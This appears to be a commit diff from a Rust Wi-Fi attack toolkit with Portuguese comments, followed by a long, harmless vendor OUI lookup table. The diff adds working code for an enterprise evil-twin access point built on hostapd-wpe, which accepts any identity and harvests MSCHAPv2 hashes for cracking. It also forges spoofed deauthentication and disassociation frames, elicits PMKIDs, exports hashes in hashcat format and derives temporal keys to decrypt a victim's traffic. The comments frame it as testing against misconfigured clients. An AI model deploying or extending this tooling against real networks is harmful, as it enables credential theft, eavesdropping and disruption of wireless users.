//! principalmente com perfil MDM corporativo) vão recusar a conexão ou
//! avisar o usuário — exatamente a defesa que deveria existir contra esse
//! ataque. Funciona de verdade contra dispositivos configurados sem essa
//! validação (ainda comum em redes legadas/mal configuradas), que é o caso
//! que esse ataque sempre existiu para expor.
use std::fmt::Write as _;
/// Config do hostapd-wpe pro AP clone: mesmo SSID/canal do AP real,
/// anunciando WPA2-Enterprise e aceitando qualquer EAP (PEAP/TTLS) — é o
/// `eap_user_file` genérico que faz ele aceitar qualquer identidade.
#[allow(clippy::too_many_arguments)]
pub fn hostapd_wpe_conf(
iface: &str,
ssid: &str,
channel: u32,
eap_user_path: &str,
ca_cert_path: &str,
server_cert_path: &str,
server_key_path: &str,
wpe_logfile_path: &str,
) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
let _ = writeln!(out, "driver=nl80211");
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
let _ = writeln!(out, "channel={channel}");
let _ = writeln!(out, "auth_algs=1");
let _ = writeln!(out, "wmm_enabled=1");
let _ = writeln!(out, "ignore_broadcast_ssid=0");
let _ = writeln!(out, "wpa=2");
let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
let _ = writeln!(out, "rsn_pairwise=CCMP");
let _ = writeln!(out, "ieee8021x=1");
let _ = writeln!(out, "eap_server=1");
let _ = writeln!(out, "eap_user_file={eap_user_path}");
let _ = writeln!(out, "ca_cert={ca_cert_path}");
let _ = writeln!(out, "server_cert={server_cert_path}");
let _ = writeln!(out, "private_key={server_key_path}");
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
out
}
/// `eap_user` genérico: aceita qualquer identidade externa pra PEAP/TTLS e
/// força MSCHAPv2 por dentro — é o que faz o hostapd-wpe logar usuário +
/// challenge/response de qualquer cliente que tentar autenticar, sem
/// precisar saber credenciais reais de antemão.
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
"* PEAP,TTLS\n",
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
);
/// Argumentos do `openssl req` pra gerar o par certificado+chave
/// autoassinado que o hostapd-wpe precisa pra abrir TLS (PEAP/TTLS sempre
/// envolve um túnel TLS, mesmo sendo um AP falso). Efêmero: 1 dia de validade
/// é de sobra pra uma sessão de teste.
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
[
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"1",
"-nodes",
"-subj",
"/CN=sabia-wpe",
]
.into_iter()
.map(String::from)
.collect()
}
fn sanitize_conf_value(value: &str) -> String {
value.replace(['\n', '\r'], "")
}
/// Uma credencial capturada: identidade + a linha pronta pra crackear
/// (formato `netntlm` do John the Ripper / compatível com `hashcat -m 5500`),
/// se o hostapd-wpe conseguiu capturar os dois.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct CapturedCredential {
pub username: String,
pub netntlm: Option<String>,
}
/// Lê o `wpe_logfile` e extrai as credenciais capturadas. Parser
/// best-effort: o formato do hostapd-wpe é documentado (blocos
/// `username:`/`challenge:`/`response:`/`jtr NETNTLM:`), mas não dá pra
/// validar contra uma instalação de verdade nesta máquina (não é um
/// binário que o Sabiá vendoriza). Pega a linha `jtr NETNTLM:` quando
/// presente — já vem pronta pra `john --format=netntlm` ou pra reformatar
/// pro `hashcat -m 5500` — e nunca falha "silenciosamente demais": o job
/// sempre expõe o arquivo de log cru também, pra conferência manual.
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
let mut out: Vec<CapturedCredential> = Vec::new();
let mut current_username: Option<String> = None;
for raw_line in log.lines() {
let line = raw_line.trim();
if let Some(rest) = line.strip_prefix("username:") {
current_username = Some(rest.trim().to_string());
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
let netntlm = rest.trim().to_string();
let username = current_username
.clone()
.or_else(|| netntlm.split(':').next().map(str::to_string))
.unwrap_or_default();
if !out.iter().any(|c: &CapturedCredential| {
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
}) {
out.push(CapturedCredential {
username,
netntlm: Some(netntlm),
});
}
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
let conf = hostapd_wpe_conf(
"wlan1",
"Corp\nWifi",
149,
"/tmp/eap_user",
"/tmp/ca.pem",
"/tmp/server.pem",
"/tmp/server.key",
"/tmp/wpe.log",
);
assert!(conf.contains("interface=wlan1"));
assert!(conf.contains("ssid=CorpWifi"));
assert!(!conf.contains("ssid=Corp\nWifi"));
assert!(conf.contains("hw_mode=a"));
assert!(conf.contains("ieee8021x=1"));
assert!(conf.contains("eap_server=1"));
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
}
#[test]
fn openssl_args_reference_the_right_paths() {
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
assert!(args.contains(&"/tmp/k.key".to_string()));
assert!(args.contains(&"/tmp/c.pem".to_string()));
assert!(args.contains(&"-x509".to_string()));
}
#[test]
fn captured_identities_parses_username_and_netntlm_blocks() {
let log = "\
mschapv2: Thu Jan 1 00:00:00 1970
username: bob
challenge: aabbccddeeff0011
response: 1122334455667788990011223344556677889900aabbcc
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
mschapv2: Thu Jan 1 00:01:00 1970
username: alice
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
";
let creds = captured_identities(log);
assert_eq!(creds.len(), 2);
assert_eq!(creds[0].username, "bob");
assert!(creds[0]
.netntlm
.as_deref()
.unwrap()
.starts_with("bob:$NETNTLM$"));
assert_eq!(creds[1].username, "alice");
}
#[test]
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
let log = "\
username: bob
jtr NETNTLM: bob:$NETNTLM$aa$bb
username: bob
jtr NETNTLM: bob:$NETNTLM$aa$bb
";
let creds = captured_identities(log);
assert_eq!(creds.len(), 1);
}
#[test]
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
assert!(captured_identities("").is_empty());
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
}
}
+34
View File
@@ -33,6 +33,12 @@ pub struct Handshake {
pub first_seen_unix: u64,
pub last_seen_unix: u64,
pub password: Option<String>,
/// Temporal Key (CCMP/AES) derivada quando `password` é preenchido.
/// Só pra TKIP (key_version 1) fica None: a decriptação aqui só cobre
/// CCMP. Serve pra enxergar o tráfego em claro desse par (BSSID,
/// estação) específico — não abre o tráfego de outros clientes, já que
/// a PTK é efêmera por associação.
pub tk: Option<[u8; 16]>,
}
#[derive(Debug, Clone, serde::Serialize)]
@@ -244,9 +250,17 @@ impl HandshakeTracker {
pub fn set_password(&mut self, bssid: &str, station: &str, password: &str) {
if let Some(hs) = self.get_mut(bssid, station) {
hs.password = Some(password.to_string());
hs.tk = derive_tk(hs, password);
}
}
/// TK já derivada pra esse par (BSSID, estação), se a senha da rede já
/// foi quebrada e o handshake tinha os dois nonces (EAPOL completo — um
/// handshake só de PMKID não dá pra derivar PTK/TK, só confirma a PSK).
pub fn tk_for(&self, bssid: &str, station: &str) -> Option<[u8; 16]> {
self.get(bssid, station).and_then(|hs| hs.tk)
}
pub fn len(&self) -> usize {
self.map.len()
}
@@ -256,6 +270,26 @@ impl HandshakeTracker {
}
}
/// Deriva a TK (bytes 32..48 da PTK) a partir da senha quebrada, pra poder
/// decifrar CCMP do tráfego desse cliente. Só funciona com EAPOL/CCMP
/// completo (key_version 2); PMKID sozinho não tem os dois nonces pra
/// derivar PTK, e TKIP (key_version 1) usa RC4 + Michael, não implementado.
fn derive_tk(hs: &Handshake, password: &str) -> Option<[u8; 16]> {
if hs.key_version != 2 {
return None;
}
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
let bssid = dot11::parse_mac(&hs.bssid)?;
let station = dot11::parse_mac(&hs.station)?;
let anonce = hs.anonce?;
let snonce = hs.snonce?;
let pmk = crate::crack::pmk_from_candidate(password, ssid.as_bytes())?;
let ptk = crate::crack::compute_ptk(&pmk, &bssid, &station, &anonce, &snonce);
let mut tk = [0u8; 16];
tk.copy_from_slice(&ptk[32..48]);
Some(tk)
}
fn apply_key(hs: &mut Handshake, key: &EapolKey) {
match key.message {
1 => {
+86
View File
@@ -0,0 +1,86 @@
//! Exportação no formato `.hc22000` do hashcat.
//!
//! Duas linhas possíveis, como no hcxtools:
//!
//! * `WPA*01*PMKID*AP*STA*SSID***`
//! * `WPA*02*MIC*AP*STA*SSID*ANONCE*EAPOL*MESSAGEPAIR`
//!
//! O EAPOL exportado é o quadro da mensagem 2 completo (cabeçalho 802.1X +
//! descritor), que é o que o hashcat espera no campo `EAPOL_CLIENT`.
use crate::eapol::MIC_OFFSET;
use crate::handshake::Handshake;
fn mac_hex(mac: &str) -> Option<String> {
let bytes: Vec<String> = mac
.split(':')
.map(|part| part.trim().to_ascii_lowercase())
.collect();
if bytes.len() != 6
|| !bytes
.iter()
.all(|b| b.len() == 2 && b.chars().all(|c| c.is_ascii_hexdigit()))
{
return None;
}
Some(bytes.concat())
}
fn ssid_hex(ssid: &str) -> String {
ssid.as_bytes().iter().map(|b| format!("{b:02x}")).collect()
}
fn hex(bytes: &[u8]) -> String {
bytes.iter().map(|b| format!("{b:02x}")).collect()
}
pub fn hashcat_line(hs: &Handshake) -> Option<String> {
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
let ap = mac_hex(&hs.bssid)?;
let sta = mac_hex(&hs.station)?;
let ssid = ssid_hex(ssid);
if let Some(pmkid) = hs.pmkid {
return Some(format!("WPA*01*{}*{ap}*{sta}*{ssid}***", hex(&pmkid)));
}
let eapol = hs.eapol_msg2.as_deref()?;
let anonce = hs.anonce?;
let mic = eapol.get(MIC_OFFSET..MIC_OFFSET + 16)?;
Some(format!(
"WPA*02*{}*{ap}*{sta}*{ssid}*{}*{}*00",
hex(mic),
hex(&anonce),
hex(eapol),
))
}
/// Linhas únicas, uma por handshake que tenha material suficiente.
pub fn export<'a>(handshakes: impl IntoIterator<Item = &'a Handshake>) -> Vec<String> {
let mut lines: Vec<String> = handshakes.into_iter().filter_map(hashcat_line).collect();
lines.sort();
lines.dedup();
lines
}
#[cfg(test)]
mod tests {
use super::*;
use crate::handshake::Handshake;
#[test]
fn exports_pmkid_line() {
let hs = Handshake {
bssid: "00:11:22:33:44:55".into(),
station: "66:77:88:99:aa:bb".into(),
ssid: Some("Casa".into()),
pmkid: Some([0xcd; 16]),
..Default::default()
};
let line = hashcat_line(&hs).expect("linha");
assert_eq!(
line,
"WPA*01*cdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcd*001122334455*66778899aabb*43617361***"
);
}
}
+143 -1
View File
@@ -17,13 +17,26 @@ fn radiotap_min() -> [u8; 8] {
}
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
}
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
/// usado no teste bidirecional de PMF.
fn mgmt_frame_from(
subtype: u8,
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
let fc: u16 = (subtype as u16) << 4;
let mut f = Vec::with_capacity(8 + 24 + 2);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&fc.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&destination); // addr1: destino
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
f.extend_from_slice(&transmitter); // addr2: transmissor
f.extend_from_slice(&bssid); // addr3: BSSID
f.extend_from_slice(&[0u8; 2]); // número de sequência
f.extend_from_slice(&reason.to_le_bytes());
@@ -36,11 +49,129 @@ pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8
mgmt_frame(12, bssid, destination, reason)
}
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
pub fn deauth_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
mgmt_frame_from(12, transmitter, bssid, destination, reason)
}
/// Desassociação forjada com transmissor arbitrário (STA→AP).
pub fn disassoc_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
mgmt_frame_from(10, transmitter, bssid, destination, reason)
}
/// Quadro de desassociação (subtipo 10).
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(10, bssid, destination, reason)
}
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
const SEQ_CTRL_OFFSET: usize = 30;
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
pub fn set_seq(frame: &mut [u8], seq: u16) {
if frame.len() < SEQ_CTRL_OFFSET + 2 {
return;
}
let field = (seq & 0x0fff) << 4;
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
}
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
let mut out = Vec::with_capacity(2 + value.len());
out.push(tag);
out.push(value.len() as u8);
out.extend_from_slice(value);
out
}
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
/// request no teste de PMKID.
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
let mut f = Vec::with_capacity(8 + 24 + 6);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&0x00b0u16.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&bssid);
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
f.extend_from_slice(&0u16.to_le_bytes()); // status
f
}
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
let mut val = Vec::new();
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
for akm in akms {
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
}
let mut caps = 0u16;
if pmf {
caps |= 0x0080;
}
if pmf_required {
caps |= 0x0040;
}
val.extend_from_slice(&caps.to_le_bytes());
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
val.extend_from_slice(pmkid);
ie(48, &val)
}
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
pub fn assoc_request_frame(
bssid: [u8; 6],
station: [u8; 6],
ssid: &str,
akms: &[u8],
pmf: bool,
pmf_required: bool,
pmkid: [u8; 16],
) -> Vec<u8> {
let mut body = Vec::new();
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
body.extend_from_slice(&ie(0, ssid.as_bytes()));
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
if !akms.is_empty() {
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
}
let mut f = Vec::with_capacity(8 + 24 + body.len());
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&0x0000u16.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&bssid);
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&body);
f
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Reason {
Unspecified = 1,
@@ -160,4 +291,15 @@ mod tests {
assert_eq!(&f[12..18], &BROADCAST);
assert_eq!(f.len(), 8 + 24 + 2);
}
#[test]
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
let mut f = deauth_frame(bssid(), station(), 7);
set_seq(&mut f, 1);
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
assert_eq!(seq_ctrl, 1 << 4);
set_seq(&mut f, 0x0fff);
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
assert_eq!(seq_ctrl, 0x0fff << 4);
}
}
+9
View File
@@ -3,22 +3,31 @@
//! gráfica são só consumidoras disto — a parte complexa (radiotap, 802.11,
//! EAPOL, captura e injeção) fica inteira aqui dentro.
pub mod analysis;
pub mod audit;
pub mod ccmp;
pub mod crack;
pub mod doctor;
pub mod dot11;
pub mod eapol;
pub mod engine;
pub mod error;
pub mod eviltwin;
pub mod eviltwin_enterprise;
pub mod handshake;
pub mod hashcat;
pub mod iface;
pub mod inject;
pub mod netlink;
pub mod oui;
pub mod pcapreader;
pub mod pcapwriter;
pub mod radiotap;
pub mod report;
pub mod rules;
pub mod scan;
pub mod update;
pub mod wps;
#[cfg(target_os = "linux")]
pub mod capture;
+919
View File
@@ -0,0 +1,919 @@
//! Identificação de fabricante pelo prefixo OUI do MAC.
const OUIS: &[(&str, &str)] = &[
("00000c", "Cisco"),
("000142", "Cisco"),
("000163", "Cisco"),
("000164", "Cisco"),
("00016c", "Cisco"),
("0001c7", "Cisco"),
("0001e6", "Cisco"),
("000216", "Cisco"),
("0002b9", "Cisco"),
("0002fc", "Cisco"),
("000331", "Cisco"),
("00036b", "Cisco"),
("0003e3", "Cisco"),
("0003fd", "Cisco"),
("000427", "Cisco"),
("00044d", "Cisco"),
("0004c0", "Cisco"),
("0004dd", "Cisco"),
("000531", "Cisco"),
("00055d", "D-Link"),
("000569", "VMware"),
("0005dc", "Cisco"),
("0005dd", "Cisco"),
("0006c1", "Cisco"),
("0007eb", "Cisco"),
("0007ec", "Cisco"),
("0009b7", "Cisco"),
("000a41", "Cisco"),
("000aeb", "TP-Link"),
("000b86", "Aruba"),
("000c29", "VMware"),
("000c42", "MikroTik"),
("000c6e", "Asus"),
("000d28", "Cisco"),
("000d88", "D-Link"),
("000e38", "Cisco"),
("000ea6", "Asus"),
("000f23", "Cisco"),
("000f3d", "D-Link"),
("000fb5", "Netgear"),
("0010a6", "Cisco"),
("001120", "Cisco"),
("00112f", "Asus"),
("001195", "D-Link"),
("001217", "Cisco"),
("0012fb", "Samsung"),
("001346", "D-Link"),
("001392", "Ruckus"),
("0013d4", "Asus"),
("00146c", "Netgear"),
("001478", "TP-Link"),
("00156d", "Ubiquiti"),
("001599", "Samsung"),
("0015e9", "D-Link"),
("0015f2", "Asus"),
("001632", "Samsung"),
("00170f", "Cisco"),
("001731", "Asus"),
("00179a", "D-Link"),
("00180a", "Meraki"),
("00184d", "Netgear"),
("001882", "Huawei"),
("0018f3", "Asus"),
("00195b", "D-Link"),
("001a11", "Google"),
("001a1e", "Aruba"),
("001a2b", "Cisco"),
("001a8a", "Samsung"),
("001a92", "Asus"),
("001b11", "Cisco"),
("001b2f", "Netgear"),
("001b63", "Apple"),
("001bfc", "Asus"),
("001c42", "Parallels"),
("001cf0", "D-Link"),
("001d0f", "TP-Link"),
("001d25", "Samsung"),
("001d60", "Asus"),
("001e10", "Huawei"),
("001e2a", "Netgear"),
("001e58", "D-Link"),
("001e7d", "Samsung"),
("001e8c", "Asus"),
("001ec2", "Apple"),
("001f6c", "Cisco"),
("001fc6", "Asus"),
("002119", "Samsung"),
("002127", "TP-Link"),
("0021e9", "Apple"),
("002215", "Asus"),
("00223f", "Netgear"),
("00227f", "Ruckus"),
("002290", "Cisco"),
("0022b0", "D-Link"),
("002312", "Apple"),
("002339", "Samsung"),
("002454", "Samsung"),
("002486", "Asus"),
("0024a3", "Apple"),
("0024b2", "Netgear"),
("0024dc", "Apple"),
("002500", "Apple"),
("002586", "TP-Link"),
("00259e", "Huawei"),
("0025c4", "Ruckus"),
("002618", "Asus"),
("002637", "Samsung"),
("0026bb", "Apple"),
("0026f2", "Netgear"),
("002719", "TP-Link"),
("002722", "Ubiquiti"),
("0027a0", "Apple"),
("003e51", "Apple"),
("003ee1", "Apple"),
("004096", "Apple"),
("005056", "VMware"),
("0050e4", "Apple"),
("0055e6", "Apple"),
("0056cd", "Apple"),
("040cce", "Apple"),
("041552", "Apple"),
("0452f3", "Apple"),
("045e3d", "Apple"),
("04a151", "Netgear"),
("04bd70", "Huawei"),
("04c06f", "TP-Link"),
("04d4c4", "Asus"),
("04d9f5", "Asus"),
("04db56", "Apple"),
("04e536", "Apple"),
("04f13e", "Apple"),
("04f7e4", "Apple"),
("04f938", "Huawei"),
("080027", "VirtualBox"),
("080028", "Apple"),
("0836c9", "Netgear"),
("08606e", "Asus"),
("086266", "Asus"),
("086361", "Huawei"),
("086d41", "Apple"),
("087045", "Apple"),
("08863b", "Apple"),
("08bd43", "Netgear"),
("0c3021", "Apple"),
("0c37dc", "Huawei"),
("0c3e9f", "Apple"),
("0c4de9", "Apple"),
("0c74c2", "Apple"),
("0c771a", "Apple"),
("0c8063", "TP-Link"),
("0c9d92", "Asus"),
("0cbc9f", "Apple"),
("0cbd51", "Ruckus"),
("100c6b", "Netgear"),
("1027f5", "TP-Link"),
("1040f3", "Apple"),
("104780", "Huawei"),
("10bd18", "Ruckus"),
("10bf48", "Asus"),
("10da43", "Netgear"),
("10feed", "TP-Link"),
("14109f", "Apple"),
("143004", "Huawei"),
("1449e0", "Samsung"),
("144d67", "Apple"),
("145a05", "Apple"),
("14cfe5", "Apple"),
("14d64d", "D-Link"),
("14dae9", "Asus"),
("14dda9", "Asus"),
("18a6f7", "TP-Link"),
("18af61", "Apple"),
("18c58a", "Huawei"),
("18fd74", "MikroTik"),
("1c151f", "Huawei"),
("1c3bf3", "TP-Link"),
("1c7ee5", "D-Link"),
("1c872c", "Asus"),
("1cbdb9", "D-Link"),
("1cfa68", "TP-Link"),
("200cc8", "Netgear"),
("204c03", "Aruba"),
("204e7f", "Netgear"),
("2078f0", "Apple"),
("209bcd", "Apple"),
("20c9d0", "Apple"),
("20dce6", "TP-Link"),
("20e52a", "Netgear"),
("20f3a3", "Huawei"),
("244bfe", "Asus"),
("246968", "TP-Link"),
("2469a5", "Huawei"),
("24a43c", "Ubiquiti"),
("24dec6", "Aruba"),
("282cb2", "TP-Link"),
("283ce4", "Huawei"),
("28c68e", "Netgear"),
("28ee52", "TP-Link"),
("2c3033", "Netgear"),
("2c3afd", "TP-Link"),
("2c4d54", "Asus"),
("2c55d3", "Huawei"),
("2c56dc", "Asus"),
("2c59e5", "Aruba"),
("2c5d93", "Ruckus"),
("2cab00", "D-Link"),
("2cb05d", "Netgear"),
("2cc81b", "MikroTik"),
("301966", "Samsung"),
("3035ad", "Apple"),
("30469a", "Netgear"),
("305a3a", "Asus"),
("30636b", "Apple"),
("308730", "Huawei"),
("3090ab", "Apple"),
("30b5c2", "TP-Link"),
("340804", "D-Link"),
("341298", "Apple"),
("3423ba", "Samsung"),
("3460f9", "TP-Link"),
("3497f6", "Asus"),
("34a395", "Apple"),
("34e894", "TP-Link"),
("38484c", "Apple"),
("388345", "TP-Link"),
("3894ed", "Netgear"),
("38aa3c", "Samsung"),
("38b8eb", "Apple"),
("38d547", "Asus"),
("3c0754", "Apple"),
("3c15c2", "Apple"),
("3c1e04", "D-Link"),
("3c3786", "Netgear"),
("3c46d8", "TP-Link"),
("3c5a37", "Samsung"),
("3c846a", "TP-Link"),
("3c970e", "Asus"),
("3ca067", "Ruckus"),
("3cab8e", "Apple"),
("40167e", "Asus"),
("40169f", "TP-Link"),
("403004", "Apple"),
("40331a", "Apple"),
("404d8e", "Huawei"),
("405d82", "Netgear"),
("406c8f", "Apple"),
("40984e", "Apple"),
("409bcd", "D-Link"),
("40a6d9", "Apple"),
("40b395", "Apple"),
("40e3d6", "Aruba"),
("440010", "Apple"),
("442a60", "Apple"),
("4448b9", "Aruba"),
("444c0c", "Apple"),
("444e1a", "Samsung"),
("446a2e", "Huawei"),
("4494fc", "TP-Link"),
("44a56e", "Netgear"),
("44d884", "Apple"),
("44d9e7", "Ubiquiti"),
("480eec", "TP-Link"),
("48437c", "Apple"),
("4846fb", "Huawei"),
("485a3d", "Samsung"),
("485b39", "Asus"),
("485d60", "D-Link"),
("4860bc", "Apple"),
("48746e", "Apple"),
("488f5a", "MikroTik"),
("48a195", "Apple"),
("48d705", "Apple"),
("4c1fcc", "Huawei"),
("4c3275", "Apple"),
("4c3c16", "Samsung"),
("4c3fa7", "Ruckus"),
("4c57ca", "Apple"),
("4c5e0c", "MikroTik"),
("4c60de", "Netgear"),
("4c7403", "Apple"),
("4c8d79", "Apple"),
("4c9eff", "D-Link"),
("4ce173", "TP-Link"),
("4cedfb", "Asus"),
("5001bb", "Samsung"),
("503eaa", "TP-Link"),
("506a03", "Netgear"),
("50c7bf", "TP-Link"),
("50ead6", "Apple"),
("5404a6", "Asus"),
("5425ea", "Huawei"),
("542696", "Apple"),
("546009", "Google"),
("54724f", "Apple"),
("5492be", "Samsung"),
("54b80a", "D-Link"),
("54c80f", "TP-Link"),
("581122", "Asus"),
("581f28", "Huawei"),
("581faa", "Apple"),
("583f54", "Samsung"),
("5855ca", "Apple"),
("586d8f", "Ruckus"),
("58b035", "Apple"),
("58d9d5", "TP-Link"),
("5c0a5b", "Samsung"),
("5c3275", "Asus"),
("5c4ca9", "Huawei"),
("5c5948", "Apple"),
("5c628b", "TP-Link"),
("5c899a", "TP-Link"),
("5c95ae", "Apple"),
("5c97f3", "Apple"),
("5cd998", "D-Link"),
("5cf938", "Apple"),
("600308", "Apple"),
("6032b1", "TP-Link"),
("60334b", "Apple"),
("6045cb", "Asus"),
("60634c", "D-Link"),
("606944", "Apple"),
("606bbd", "Samsung"),
("608c4a", "Apple"),
("609217", "Apple"),
("609ac1", "Apple"),
("60a4b7", "TP-Link"),
("60c547", "Apple"),
("60de44", "Huawei"),
("60f445", "Apple"),
("60facd", "Apple"),
("60fb42", "Apple"),
("643e8c", "Huawei"),
("645601", "TP-Link"),
("6466b3", "TP-Link"),
("647002", "TP-Link"),
("6476ba", "Apple"),
("649abe", "Apple"),
("64b0a6", "Apple"),
("64b853", "Samsung"),
("64b9e8", "Apple"),
("64d154", "MikroTik"),
("680927", "Apple"),
("68572d", "TP-Link"),
("68644b", "Apple"),
("687251", "Ubiquiti"),
("68967b", "Apple"),
("689c70", "Apple"),
("68a0f6", "Huawei"),
("68a86d", "Apple"),
("68ab1e", "Apple"),
("68ae20", "Apple"),
("68d93c", "Apple"),
("68dbca", "Apple"),
("68ebae", "Samsung"),
("68fb7e", "Apple"),
("6c198f", "D-Link"),
("6c19c0", "Apple"),
("6c3b6b", "MikroTik"),
("6c3e6d", "Apple"),
("6c4008", "Apple"),
("6c5ab0", "TP-Link"),
("6c709f", "Apple"),
("6c8dc1", "Apple"),
("6c92bf", "Huawei"),
("6c94f8", "Apple"),
("6caab3", "Ruckus"),
("6cab31", "Apple"),
("6cb0ce", "Netgear"),
("6cc7ec", "Apple"),
("6cf373", "Samsung"),
("6cf37f", "Aruba"),
("701124", "Apple"),
("7014a6", "Apple"),
("703a0e", "Aruba"),
("703eac", "Apple"),
("70480f", "Apple"),
("704d7b", "Asus"),
("704f57", "TP-Link"),
("7054f5", "Huawei"),
("705681", "Apple"),
("7073cb", "Apple"),
("7081eb", "Apple"),
("70f927", "Samsung"),
("741bb2", "Apple"),
("744401", "Netgear"),
("744d28", "Samsung"),
("7483c2", "Ubiquiti"),
("74882a", "Huawei"),
("748d08", "Apple"),
("74911a", "Ruckus"),
("74d02b", "Asus"),
("74da38", "TP-Link"),
("74da88", "TP-Link"),
("74e1b6", "Apple"),
("74e2f5", "Apple"),
("781fdb", "Samsung"),
("7824af", "Asus"),
("7831c1", "Apple"),
("783a84", "Apple"),
("784476", "TP-Link"),
("784558", "Ubiquiti"),
("784f43", "Apple"),
("786c1c", "Apple"),
("788a20", "Ubiquiti"),
("789a18", "MikroTik"),
("789f70", "Apple"),
("78a3e4", "Apple"),
("78ca39", "Apple"),
("78d294", "Netgear"),
("78d752", "Huawei"),
("78d75f", "Apple"),
("78fd94", "Apple"),
("7c0191", "Apple"),
("7c04d0", "Apple"),
("7c10c9", "Asus"),
("7c11be", "Apple"),
("7c6097", "Huawei"),
("7c6d62", "Apple"),
("7c6df8", "Apple"),
("7c8bca", "TP-Link"),
("7cc3a1", "Apple"),
("7cc537", "Apple"),
("7cd1c3", "Apple"),
("7cf05f", "Apple"),
("7cfadf", "Apple"),
("80006e", "Apple"),
("801f02", "Asus"),
("802aa8", "Ubiquiti"),
("803773", "Netgear"),
("804971", "Apple"),
("805719", "Samsung"),
("80929f", "Apple"),
("80be05", "Apple"),
("80e650", "Apple"),
("80ea07", "TP-Link"),
